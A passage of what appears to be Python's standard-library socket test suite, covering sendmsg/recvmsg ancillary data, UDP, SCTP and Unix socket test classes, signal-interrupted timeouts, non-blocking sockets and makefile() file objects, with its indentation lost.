# Test truncation of the second of two control messages inside
# its associated data.
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVHOPLIMIT, 1)
self.serv_sock.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_RECVTCLASS, 1)
self.misc_event.set()
msg, ancdata, flags, addr = self.doRecvmsg(
self.serv_sock, len(MSG),
socket.CMSG_SPACE(SIZEOF_INT) + socket.CMSG_LEN(SIZEOF_INT) - 1)
self.assertEqual(msg, MSG)
self.checkRecvmsgAddress(addr, self.cli_addr)
self.checkFlags(flags, eor=True, checkset=socket.MSG_CTRUNC)
cmsg_types = {socket.IPV6_TCLASS, socket.IPV6_HOPLIMIT}
cmsg_level, cmsg_type, cmsg_data = ancdata.pop(0)
self.assertEqual(cmsg_level, socket.IPPROTO_IPV6)
cmsg_types.remove(cmsg_type)
self.assertEqual(len(cmsg_data), SIZEOF_INT)
a = array.array("i")
a.frombytes(cmsg_data)
self.assertGreaterEqual(a[0], 0)
self.assertLessEqual(a[0], 255)
if ancdata:
cmsg_level, cmsg_type, cmsg_data = ancdata.pop(0)
self.assertEqual(cmsg_level, socket.IPPROTO_IPV6)
cmsg_types.remove(cmsg_type)
self.assertLess(len(cmsg_data), SIZEOF_INT)
self.assertEqual(ancdata, [])
@testSecomdCmsgTruncInData.client_skip
def _testSecomdCmsgTruncInData(self):
self.assertTrue(self.misc_event.wait(timeout=self.fail_timeout))
self.sendToServer(MSG)
# Derive concrete test classes for different socket types.
class SendrecvmsgUDPTestBase(SendrecvmsgDgramFlagsBase,
SendrecvmsgConnectionlessBase,
ThreadedSocketTestMixin, UDPTestBase):
pass
@requireAttrs(socket.socket, "sendmsg")
class SendmsgUDPTest(SendmsgConnectionlessTests, SendrecvmsgUDPTestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
class RecvmsgUDPTest(RecvmsgTests, SendrecvmsgUDPTestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
class RecvmsgIntoUDPTest(RecvmsgIntoTests, SendrecvmsgUDPTestBase):
pass
class SendrecvmsgUDP6TestBase(SendrecvmsgDgramFlagsBase,
SendrecvmsgConnectionlessBase,
ThreadedSocketTestMixin, UDP6TestBase):
def checkRecvmsgAddress(self, addr1, addr2):
# Called to compare the received address with the address of
# the peer, ignoring scope ID
self.assertEqual(addr1[:-1], addr2[:-1])
@requireAttrs(socket.socket, "sendmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class SendmsgUDP6Test(SendmsgConnectionlessTests, SendrecvmsgUDP6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgUDP6Test(RecvmsgTests, SendrecvmsgUDP6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgIntoUDP6Test(RecvmsgIntoTests, SendrecvmsgUDP6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@requireAttrs(socket, "IPPROTO_IPV6")
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgRFC3542AncillaryUDP6Test(RFC3542AncillaryTest,
SendrecvmsgUDP6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@requireAttrs(socket, "IPPROTO_IPV6")
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgIntoRFC3542AncillaryUDP6Test(RecvmsgIntoMixin,
RFC3542AncillaryTest,
SendrecvmsgUDP6TestBase):
pass
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
class SendrecvmsgUDPLITETestBase(SendrecvmsgDgramFlagsBase,
SendrecvmsgConnectionlessBase,
ThreadedSocketTestMixin, UDPLITETestBase):
pass
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireAttrs(socket.socket, "sendmsg")
class SendmsgUDPLITETest(SendmsgConnectionlessTests, SendrecvmsgUDPLITETestBase):
pass
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireAttrs(socket.socket, "recvmsg")
class RecvmsgUDPLITETest(RecvmsgTests, SendrecvmsgUDPLITETestBase):
pass
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireAttrs(socket.socket, "recvmsg_into")
class RecvmsgIntoUDPLITETest(RecvmsgIntoTests, SendrecvmsgUDPLITETestBase):
pass
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
class SendrecvmsgUDPLITE6TestBase(SendrecvmsgDgramFlagsBase,
SendrecvmsgConnectionlessBase,
ThreadedSocketTestMixin, UDPLITE6TestBase):
def checkRecvmsgAddress(self, addr1, addr2):
# Called to compare the received address with the address of
# the peer, ignoring scope ID
self.assertEqual(addr1[:-1], addr2[:-1])
@requireAttrs(socket.socket, "sendmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class SendmsgUDPLITE6Test(SendmsgConnectionlessTests, SendrecvmsgUDPLITE6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgUDPLITE6Test(RecvmsgTests, SendrecvmsgUDPLITE6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgIntoUDPLITE6Test(RecvmsgIntoTests, SendrecvmsgUDPLITE6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireAttrs(socket, "IPPROTO_IPV6")
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgRFC3542AncillaryUDPLITE6Test(RFC3542AncillaryTest,
SendrecvmsgUDPLITE6TestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test.')
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
@requireAttrs(socket, "IPPROTO_IPV6")
@requireSocket("AF_INET6", "SOCK_DGRAM")
class RecvmsgIntoRFC3542AncillaryUDPLITE6Test(RecvmsgIntoMixin,
RFC3542AncillaryTest,
SendrecvmsgUDPLITE6TestBase):
pass
class SendrecvmsgTCPTestBase(SendrecvmsgConnectedBase,
ConnectedStreamTestMixin, TCPTestBase):
pass
@requireAttrs(socket.socket, "sendmsg")
class SendmsgTCPTest(SendmsgStreamTests, SendrecvmsgTCPTestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
class RecvmsgTCPTest(RecvmsgTests, RecvmsgGenericStreamTests,
SendrecvmsgTCPTestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
class RecvmsgIntoTCPTest(RecvmsgIntoTests, RecvmsgGenericStreamTests,
SendrecvmsgTCPTestBase):
pass
class SendrecvmsgSCTPStreamTestBase(SendrecvmsgSCTPFlagsBase,
SendrecvmsgConnectedBase,
ConnectedStreamTestMixin, SCTPStreamBase):
pass
@requireAttrs(socket.socket, "sendmsg")
@unittest.skipIf(AIX, "IPPROTO_SCTP: [Errno 62] Protocol not supported on AIX")
@requireSocket("AF_INET", "SOCK_STREAM", "IPPROTO_SCTP")
class SendmsgSCTPStreamTest(SendmsgStreamTests, SendrecvmsgSCTPStreamTestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@unittest.skipIf(AIX, "IPPROTO_SCTP: [Errno 62] Protocol not supported on AIX")
@requireSocket("AF_INET", "SOCK_STREAM", "IPPROTO_SCTP")
class RecvmsgSCTPStreamTest(RecvmsgTests, RecvmsgGenericStreamTests,
SendrecvmsgSCTPStreamTestBase):
def testRecvmsgEOF(self):
try:
super(RecvmsgSCTPStreamTest, self).testRecvmsgEOF()
except OSError as e:
if e.errno != errno.ENOTCONN:
raise
self.skipTest("sporadic ENOTCONN (kernel issue?) - see issue #13876")
@requireAttrs(socket.socket, "recvmsg_into")
@unittest.skipIf(AIX, "IPPROTO_SCTP: [Errno 62] Protocol not supported on AIX")
@requireSocket("AF_INET", "SOCK_STREAM", "IPPROTO_SCTP")
class RecvmsgIntoSCTPStreamTest(RecvmsgIntoTests, RecvmsgGenericStreamTests,
SendrecvmsgSCTPStreamTestBase):
def testRecvmsgEOF(self):
try:
super(RecvmsgIntoSCTPStreamTest, self).testRecvmsgEOF()
except OSError as e:
if e.errno != errno.ENOTCONN:
raise
self.skipTest("sporadic ENOTCONN (kernel issue?) - see issue #13876")
class SendrecvmsgUnixStreamTestBase(SendrecvmsgConnectedBase,
ConnectedStreamTestMixin, UnixStreamBase):
pass
@requireAttrs(socket.socket, "sendmsg")
@requireAttrs(socket, "AF_UNIX")
class SendmsgUnixStreamTest(SendmsgStreamTests, SendrecvmsgUnixStreamTestBase):
pass
@requireAttrs(socket.socket, "recvmsg")
@requireAttrs(socket, "AF_UNIX")
class RecvmsgUnixStreamTest(RecvmsgTests, RecvmsgGenericStreamTests,
SendrecvmsgUnixStreamTestBase):
pass
@requireAttrs(socket.socket, "recvmsg_into")
@requireAttrs(socket, "AF_UNIX")
class RecvmsgIntoUnixStreamTest(RecvmsgIntoTests, RecvmsgGenericStreamTests,
SendrecvmsgUnixStreamTestBase):
pass
@requireAttrs(socket.socket, "sendmsg", "recvmsg")
@requireAttrs(socket, "AF_UNIX", "SOL_SOCKET", "SCM_RIGHTS")
class RecvmsgSCMRightsStreamTest(SCMRightsTest, SendrecvmsgUnixStreamTestBase):
pass
@requireAttrs(socket.socket, "sendmsg", "recvmsg_into")
@requireAttrs(socket, "AF_UNIX", "SOL_SOCKET", "SCM_RIGHTS")
class RecvmsgIntoSCMRightsStreamTest(RecvmsgIntoMixin, SCMRightsTest,
SendrecvmsgUnixStreamTestBase):
pass
# Test interrupting the interruptible send/receive methods with a
# signal when a timeout is set. These tests avoid having multiple
# threads alive during the test so that the OS cannot deliver the
# signal to the wrong one.
class InterruptedTimeoutBase:
# Base class for interrupted send/receive tests. Installs an
# empty handler for SIGALRM and removes it on teardown, along with
# any scheduled alarms.
def setUp(self):
super().setUp()
orig_alrm_handler = signal.signal(signal.SIGALRM,
lambda signum, frame: 1 / 0)
self.addCleanup(signal.signal, signal.SIGALRM, orig_alrm_handler)
# Timeout for socket operations
timeout = support.LOOPBACK_TIMEOUT
# Provide setAlarm() method to schedule delivery of SIGALRM after
# given number of seconds, or cancel it if zero, and an
# appropriate time value to use. Use setitimer() if available.
if hasattr(signal, "setitimer"):
alarm_time = 0.05
def setAlarm(self, seconds):
signal.setitimer(signal.ITIMER_REAL, seconds)
else:
# Old systems may deliver the alarm up to one second early
alarm_time = 2
def setAlarm(self, seconds):
signal.alarm(seconds)
# Require siginterrupt() in order to ensure that system calls are
# interrupted by default.
@requireAttrs(signal, "siginterrupt")
@unittest.skipUnless(hasattr(signal, "alarm") or hasattr(signal, "setitimer"),
"Don't have signal.alarm or signal.setitimer")
class InterruptedRecvTimeoutTest(InterruptedTimeoutBase, UDPTestBase):
# Test interrupting the recv*() methods with signals when a
# timeout is set.
def setUp(self):
super().setUp()
self.serv.settimeout(self.timeout)
def checkInterruptedRecv(self, func, *args, **kwargs):
# Check that func(*args, **kwargs) raises
# errno of EINTR when interrupted by a signal.
try:
self.setAlarm(self.alarm_time)
with self.assertRaises(ZeroDivisionError) as cm:
func(*args, **kwargs)
finally:
self.setAlarm(0)
def testInterruptedRecvTimeout(self):
self.checkInterruptedRecv(self.serv.recv, 1024)
def testInterruptedRecvIntoTimeout(self):
self.checkInterruptedRecv(self.serv.recv_into, bytearray(1024))
def testInterruptedRecvfromTimeout(self):
self.checkInterruptedRecv(self.serv.recvfrom, 1024)
def testInterruptedRecvfromIntoTimeout(self):
self.checkInterruptedRecv(self.serv.recvfrom_into, bytearray(1024))
@requireAttrs(socket.socket, "recvmsg")
def testInterruptedRecvmsgTimeout(self):
self.checkInterruptedRecv(self.serv.recvmsg, 1024)
@requireAttrs(socket.socket, "recvmsg_into")
def testInterruptedRecvmsgIntoTimeout(self):
self.checkInterruptedRecv(self.serv.recvmsg_into, [bytearray(1024)])
# Require siginterrupt() in order to ensure that system calls are
# interrupted by default.
@requireAttrs(signal, "siginterrupt")
@unittest.skipUnless(hasattr(signal, "alarm") or hasattr(signal, "setitimer"),
"Don't have signal.alarm or signal.setitimer")
class InterruptedSendTimeoutTest(InterruptedTimeoutBase,
ThreadSafeCleanupTestCase,
SocketListeningTestMixin, TCPTestBase):
# Test interrupting the interruptible send*() methods with signals
# when a timeout is set.
def setUp(self):
super().setUp()
self.serv_conn = self.newSocket()
self.addCleanup(self.serv_conn.close)
# Use a thread to complete the connection, but wait for it to
# terminate before running the test, so that there is only one
# thread to accept the signal.
cli_thread = threading.Thread(target=self.doConnect)
cli_thread.start()
self.cli_conn, addr = self.serv.accept()
self.addCleanup(self.cli_conn.close)
cli_thread.join()
self.serv_conn.settimeout(self.timeout)
def doConnect(self):
self.serv_conn.connect(self.serv_addr)
def checkInterruptedSend(self, func, *args, **kwargs):
# Check that func(*args, **kwargs), run in a loop, raises
# OSError with an errno of EINTR when interrupted by a
# signal.
try:
with self.assertRaises(ZeroDivisionError) as cm:
while True:
self.setAlarm(self.alarm_time)
func(*args, **kwargs)
finally:
self.setAlarm(0)
# Issue #12958: The following tests have problems on OS X prior to 10.7
@support.requires_mac_ver(10, 7)
def testInterruptedSendTimeout(self):
self.checkInterruptedSend(self.serv_conn.send, b"a"*512)
@support.requires_mac_ver(10, 7)
def testInterruptedSendtoTimeout(self):
# Passing an actual address here as Python's wrapper for
# sendto() doesn't allow passing a zero-length one; POSIX
# requires that the address is ignored since the socket is
# connection-mode, however.
self.checkInterruptedSend(self.serv_conn.sendto, b"a"*512,
self.serv_addr)
@support.requires_mac_ver(10, 7)
@requireAttrs(socket.socket, "sendmsg")
def testInterruptedSendmsgTimeout(self):
self.checkInterruptedSend(self.serv_conn.sendmsg, [b"a"*512])
class TCPCloserTest(ThreadedTCPSocketTest):
def testClose(self):
conn, addr = self.serv.accept()
conn.close()
sd = self.cli
read, write, err = select.select([sd], [], [], 1.0)
self.assertEqual(read, [sd])
self.assertEqual(sd.recv(1), b'')
# Calling close() many times should be safe.
conn.close()
conn.close()
def _testClose(self):
self.cli.connect((HOST, self.port))
time.sleep(1.0)
class BasicSocketPairTest(SocketPairTest):
def __init__(self, methodName='runTest'):
SocketPairTest.__init__(self, methodName=methodName)
def _check_defaults(self, sock):
self.assertIsInstance(sock, socket.socket)
if hasattr(socket, 'AF_UNIX'):
self.assertEqual(sock.family, socket.AF_UNIX)
else:
self.assertEqual(sock.family, socket.AF_INET)
self.assertEqual(sock.type, socket.SOCK_STREAM)
self.assertEqual(sock.proto, 0)
def _testDefaults(self):
self._check_defaults(self.cli)
def testDefaults(self):
self._check_defaults(self.serv)
def testRecv(self):
msg = self.serv.recv(1024)
self.assertEqual(msg, MSG)
def _testRecv(self):
self.cli.send(MSG)
def testSend(self):
self.serv.send(MSG)
def _testSend(self):
msg = self.cli.recv(1024)
self.assertEqual(msg, MSG)
class NonBlockingTCPTests(ThreadedTCPSocketTest):
def __init__(self, methodName='runTest'):
self.event = threading.Event()
ThreadedTCPSocketTest.__init__(self, methodName=methodName)
def assert_sock_timeout(self, sock, timeout):
self.assertEqual(self.serv.gettimeout(), timeout)
blocking = (timeout != 0.0)
self.assertEqual(sock.getblocking(), blocking)
if fcntl is not None:
# When a Python socket has a non-zero timeout, it's switched
# internally to a non-blocking mode. Later, sock.sendall(),
# sock.recv(), and other socket operations use a select() call and
# handle EWOULDBLOCK/EGAIN on all socket operations. That's how
# timeouts are enforced.
fd_blocking = (timeout is None)
flag = fcntl.fcntl(sock, fcntl.F_GETFL, os.O_NONBLOCK)
self.assertEqual(not bool(flag & os.O_NONBLOCK), fd_blocking)
def testSetBlocking(self):
# Test setblocking() and settimeout() methods
self.serv.setblocking(True)
self.assert_sock_timeout(self.serv, None)
self.serv.setblocking(False)
self.assert_sock_timeout(self.serv, 0.0)
self.serv.settimeout(None)
self.assert_sock_timeout(self.serv, None)
self.serv.settimeout(0)
self.assert_sock_timeout(self.serv, 0)
self.serv.settimeout(10)
self.assert_sock_timeout(self.serv, 10)
self.serv.settimeout(0)
self.assert_sock_timeout(self.serv, 0)
def _testSetBlocking(self):
pass
@support.cpython_only
def testSetBlocking_overflow(self):
# Issue 15989
import _testcapi
if _testcapi.UINT_MAX >= _testcapi.ULONG_MAX:
self.skipTest('needs UINT_MAX < ULONG_MAX')
self.serv.setblocking(False)
self.assertEqual(self.serv.gettimeout(), 0.0)
self.serv.setblocking(_testcapi.UINT_MAX + 1)
self.assertIsNone(self.serv.gettimeout())
_testSetBlocking_overflow = support.cpython_only(_testSetBlocking)
@unittest.skipUnless(hasattr(socket, 'SOCK_NONBLOCK'),
'test needs socket.SOCK_NONBLOCK')
@support.requires_linux_version(2, 6, 28)
def testInitNonBlocking(self):
# create a socket with SOCK_NONBLOCK
self.serv.close()
self.serv = socket.socket(socket.AF_INET,
socket.SOCK_STREAM | socket.SOCK_NONBLOCK)
self.assert_sock_timeout(self.serv, 0)
def _testInitNonBlocking(self):
pass
def testInheritFlagsBlocking(self):
# bpo-7995: accept() on a listening socket with a timeout and the
# default timeout is None, the resulting socket must be blocking.
with socket_setdefaulttimeout(None):
self.serv.settimeout(10)
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
self.assertIsNone(conn.gettimeout())
def _testInheritFlagsBlocking(self):
self.cli.connect((HOST, self.port))
def testInheritFlagsTimeout(self):
# bpo-7995: accept() on a listening socket with a timeout and the
# default timeout is None, the resulting socket must inherit
# the default timeout.
default_timeout = 20.0
with socket_setdefaulttimeout(default_timeout):
self.serv.settimeout(10)
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
self.assertEqual(conn.gettimeout(), default_timeout)
def _testInheritFlagsTimeout(self):
self.cli.connect((HOST, self.port))
def testAccept(self):
# Testing non-blocking accept
self.serv.setblocking(False)
# connect() didn't start: non-blocking accept() fails
start_time = time.monotonic()
with self.assertRaises(BlockingIOError):
conn, addr = self.serv.accept()
dt = time.monotonic() - start_time
self.assertLess(dt, 1.0)
self.event.set()
read, write, err = select.select([self.serv], [], [], support.LONG_TIMEOUT)
if self.serv not in read:
self.fail("Error trying to do accept after select.")
# connect() completed: non-blocking accept() doesn't block
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
self.assertIsNone(conn.gettimeout())
def _testAccept(self):
# don't connect before event is set to check
# that non-blocking accept() raises BlockingIOError
self.event.wait()
self.cli.connect((HOST, self.port))
def testRecv(self):
# Testing non-blocking recv
conn, addr = self.serv.accept()
self.addCleanup(conn.close)
conn.setblocking(False)
# the server didn't send data yet: non-blocking recv() fails
with self.assertRaises(BlockingIOError):
msg = conn.recv(len(MSG))
self.event.set()
read, write, err = select.select([conn], [], [], support.LONG_TIMEOUT)
if conn not in read:
self.fail("Error during select call to non-blocking socket.")
# the server sent data yet: non-blocking recv() doesn't block
msg = conn.recv(len(MSG))
self.assertEqual(msg, MSG)
def _testRecv(self):
self.cli.connect((HOST, self.port))
# don't send anything before event is set to check
# that non-blocking recv() raises BlockingIOError
self.event.wait()
# send data: recv() will no longer block
self.cli.sendall(MSG)
class FileObjectClassTestCase(SocketConnectedTest):
"""Unit tests for the object returned by socket.makefile()
self.read_file is the io object returned by makefile() on
the client connection. You can read from this file to
get output from the server.
self.write_file is the io object returned by makefile() on the
server connection. You can write to this file to send output
to the client.
"""
bufsize = -1 # Use default buffer size
encoding = 'utf-8'
errors = 'strict'
newline = None
read_mode = 'rb'
read_msg = MSG
write_mode = 'wb'
write_msg = MSG
def __init__(self, methodName='runTest'):
SocketConnectedTest.__init__(self, methodName=methodName)
def setUp(self):
self.evt1, self.evt2, self.serv_finished, self.cli_finished = [
threading.Event() for i in range(4)]
SocketConnectedTest.setUp(self)
self.read_file = self.cli_conn.makefile(
self.read_mode, self.bufsize,
encoding = self.encoding,
errors = self.errors,
newline = self.newline)
def tearDown(self):
self.serv_finished.set()
self.read_file.close()
self.assertTrue(self.read_file.closed)
self.read_file = None
SocketConnectedTest.tearDown(self)
def clientSetUp(self):
SocketConnectedTest.clientSetUp(self)
self.write_file = self.serv_conn.makefile(
self.write_mode, self.bufsize,
encoding = self.encoding,
errors = self.errors,
newline = self.newline)
def clientTearDown(self):
self.cli_finished.set()
self.write_file.close()
self.assertTrue(self.write_file.closed)
self.write_file = None
SocketConnectedTest.clientTearDown(self)
def testReadAfterTimeout(self):
# Issue #7322: A file object must disallow further reads
# after a timeout has occurred.
self.cli_conn.settimeout(1)
self.read_file.read(3)
# First read raises a timeout
self.assertRaises(socket.timeout, self.read_file.read, 1)
# Second read is disallowed
with self.assertRaises(OSError) as ctx:
self.read_file.read(1)
self.assertIn("cannot read from timed out object", str(ctx.exception))
def _testReadAfterTimeout(self):
self.write_file.write(self.write_msg[0:3])
self.write_file.flush()
self.serv_finished.wait()
def testSmallRead(self):
# Performing small file read test
first_seg = self.read_file.read(len(self.read_msg)-3)
second_seg = self.read_file.read(3)
msg = first_seg + second_seg
self.assertEqual(msg, self.read_msg)
def _testSmallRead(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testFullRead(self):
# read until EOF
msg = self.read_file.read()
self.assertEqual(msg, self.read_msg)
def _testFullRead(self):
self.write_file.write(self.write_msg)
self.write_file.close()
def testUnbufferedRead(self):
# Performing unbuffered file read test
buf = type(self.read_msg)()
while 1:
char = self.read_file.read(1)
if not char:
break
buf += char
self.assertEqual(buf, self.read_msg)
def _testUnbufferedRead(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testReadline(self):
# Performing file readline test
line = self.read_file.readline()
self.assertEqual(line, self.read_msg)
def _testReadline(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testCloseAfterMakefile(self):
# The file returned by makefile should keep the socket open.
self.cli_conn.close()
# read until EOF
msg = self.read_file.read()
self.assertEqual(msg, self.read_msg)
def _testCloseAfterMakefile(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testMakefileAfterMakefileClose(self):
self.read_file.close()
msg = self.cli_conn.recv(len(MSG))
if isinstance(self.read_msg, str):
msg = msg.decode()
self.assertEqual(msg, self.read_msg)
def _testMakefileAfterMakefileClose(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testClosedAttr(self):
self.assertTrue(not self.read_file.closed)
def _testClosedAttr(self):
self.assertTrue(not self.write_file.closed)
def testAttributes(self):
self.assertEqual(self.read_file.mode, self.read_mode)
self.assertEqual(self.read_file.name, self.cli_conn.fileno())
def _testAttributes(self):
self.assertEqual(self.write_file.mode, self.write_mode)
self.assertEqual(self.write_file.name, self.serv_conn.fileno())
def testRealClose(self):
self.read_file.close()
self.assertRaises(ValueError, self.read_file.fileno)
self.cli_conn.close()
self.assertRaises(OSError, self.cli_conn.getsockname)
def _testRealClose(self):
pass
class UnbufferedFileObjectClassTestCase(FileObjectClassTestCase):
"""Repeat the tests from FileObjectClassTestCase with bufsize==0.
In this case (and in this case only), it should be possible to
create a file object, read a line from it, create another file
object, read another line from it, without loss of data in the
first file object's buffer. Note that http.client relies on this
when reading multiple requests from the same socket."""
bufsize = 0 # Use unbuffered mode
def testUnbufferedReadline(self):
# Read a line, create a new file object, read another line with it
line = self.read_file.readline() # first line
self.assertEqual(line, b"A. " + self.write_msg) # first line
self.read_file = self.cli_conn.makefile('rb', 0)
line = self.read_file.readline() # second line
self.assertEqual(line, b"B. " + self.write_msg) # second line
def _testUnbufferedReadline(self):
self.write_file.write(b"A. " + self.write_msg)
self.write_file.write(b"B. " + self.write_msg)
self.write_file.flush()
def testMakefileClose(self):
# The file returned by makefile should keep the socket open...
self.cli_conn.close()
msg = self.cli_conn.recv(1024)
self.assertEqual(msg, self.read_msg)
# ...until the file is itself closed
self.read_file.close()
self.assertRaises(OSError, self.cli_conn.recv, 1024)
def _testMakefileClose(self):
self.write_file.write(self.write_msg)
self.write_file.flush()
def testMakefileCloseSocketDestroy(self):
refcount_before = sys.getrefcount(self.cli_conn)
self.read_file.close()
refcount_after = sys.getrefcount(self.cli_conn)
self.assertEqual(refcount_before - 1, refcount_after)
def _testMakefileCloseSocketDestroy(self):
pass
# Non-blocking ops
# NOTE: to set `read_file` as non-blocking, we must call
# `cli_conn.setblocking` and vice-versa (see setUp / clientSetUp).
def testSmallReadNonBlocking(self):
self.cli_conn.setblocking(False)
self.assertEqual(self.read_file.readinto(bytearray(10)), None)
self.assertEqual(self.read_file.read(len(self.read_msg) - 3), None)
self.evt1.set()
self.evt2.wait(1.0)
first_seg = self.read_file.read(len(self.read_msg) - 3)
if first_seg is None:
# Data not arrived (can happen under Windows), wait a bit
time.sleep(0.5)
first_seg = self.read_file.read(len(self.read_msg) - 3)
buf = bytearray(10)
n = self.read_file.readinto(buf)
self.assertEqual(n, 3)
msg = first_seg + buf[:n]
self.assertEqual(msg, self.read_msg)
self.assertEqual(self.read_file.readinto(bytearray(16)), None)
self.assertEqual(self.read_file.read(1), None)
def _testSmallReadNonBlocking(self):
self.evt1.wait(1.0)
self.write_file.write(self.write_msg)
self.write_file.flush()
self.evt2.set()
# Avoid closing the socket before the server test has finished,
# otherwise system recv() will return 0 instead of EWOULDBLOCK.
self.serv_finished.wait(5.0)
def testWriteNonBlocking(self):
self.cli_finished.wait(5.0)
# The client thread can't skip directly - the SkipTest exception
# would appear as a failure.
if self.serv_skipped:
self.skipTest(self.serv_skipped)
def _testWriteNonBlocking(self):
self.serv_skipped = None
self.serv_conn.setblocking(False)
# Try to saturate the socket buffer pipe with repeated large writes.
BIG = b"x" * support.SOCK_MAX_SIZE
LIMIT = 10
# The first write() succeeds since a chunk of data can be buffered
n = self.write_file.write(BIG)
self.assertGreater(n, 0)
for i in range(LIMIT):
n = self.write_file.write(BIG)
if n is None:
# Succeeded
break
self.assertGreater(n, 0)
else:
# Let us know that this test didn't manage to establish
# the expected conditions. This is not a failure in itself but,
# if it happens repeatedly, the test should be fixed.
self.serv_skipped = "failed to saturate the socket buffer"
class LineBufferedFileObjectClassTestCase(FileObjectClassTestCase):
bufsize = 1 # Default-buffered for reading; line-buffered for writing
class SmallBufferedFileObjectClassTestCase(FileObjectClassTestCase):
bufsize = 2 # Exercise the buffering code
class UnicodeReadFileObjectClassTestCase(FileObjectClassTestCase):
"""Tests for socket.makefile() in text mode (rather than binary)"""
read_mode = 'r'
read_msg = MSG.decode('utf-8')
write_mode = 'wb'
write_msg = MSG
newline = ''
class UnicodeWriteFileObjectClassTestCase(FileObjectClassTestCase):
"""Tests for socket.makefile() in text mode (rather than binary)"""
read_mode = 'rb'
read_msg = MSG
write_mode = 'w'
write_msg = MSG.decode('utf-8')
newline = ''
class UnicodeReadWriteFileObjectClassTestCase(FileObjectClassTestCase):
"""Tests for socket.makefile() in text mode (rather than binary)"""
read_mode = 'r'
read_msg = MSG.decode('utf-8')
write_mode = 'w'
write_msg = MSG.decode('utf-8')
newline = ''
class NetworkConnectionTest(object):
"""Prove network connection."""
def clientSetUp(self):
# We're inherited below by BasicTCPTest2, which also inherits
# BasicTCPTest, which defines self.port referenced below.
self.cli = socket.create_connection((HOST, self.port))
self.serv_conn = self.cli
class BasicTCPTest2(NetworkConnectionTest, BasicTCPTest):
"""Tests that NetworkConnection does not break existing TCP functionality.
"""
class NetworkConnectionNoServer(unittest.TestCase):
class MockSocket(socket.socket):
def connect(self, *args):
raise socket.timeout('timed out')
@contextlib.contextmanager
def mocked_socket_module(self):
"""Return a socket which times out on connect"""
old_socket = socket.socket
socket.socket = self.MockSocket
try:
yield
finally:
socket.socket = old_socket
def test_connect(self):
port = socket_helper.find_unused_port()
cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(cli.close)
with self.assertRaises(OSError) as cm:
cli.connect((HOST, port))
self.assertEqual(cm.exception.errno, errno.ECONNREFUSED)
def test_create_connection(self):
# Issue #9792: errors raised by create_connection() should have
# a proper errno attribute.
port = socket_helper.find_unused_port()
with self.assertRaises(OSError) as cm:
socket.create_connection((HOST, port))
# Issue #16257: create_connection() calls getaddrinfo() against
# 'localhost'. This may result in an IPV6 addr being returned
# as well as an IPV4 one:
# >>> socket.getaddrinfo('localhost', port, 0, SOCK_STREAM)
# >>> [(2, 2, 0, '', ('127.0.0.1', 41230)),
# (26, 2, 0, '', ('::1', 41230, 0, 0))]
#
# create_connection() enumerates through all the addresses returned
# and if it doesn't successfully bind to any of them, it propagates
# the last exception it encountered.
#
# On Solaris, ENETUNREACH is returned in this circumstance instead
# of ECONNREFUSED. So, if that errno exists, add it to our list of
# expected errnos.
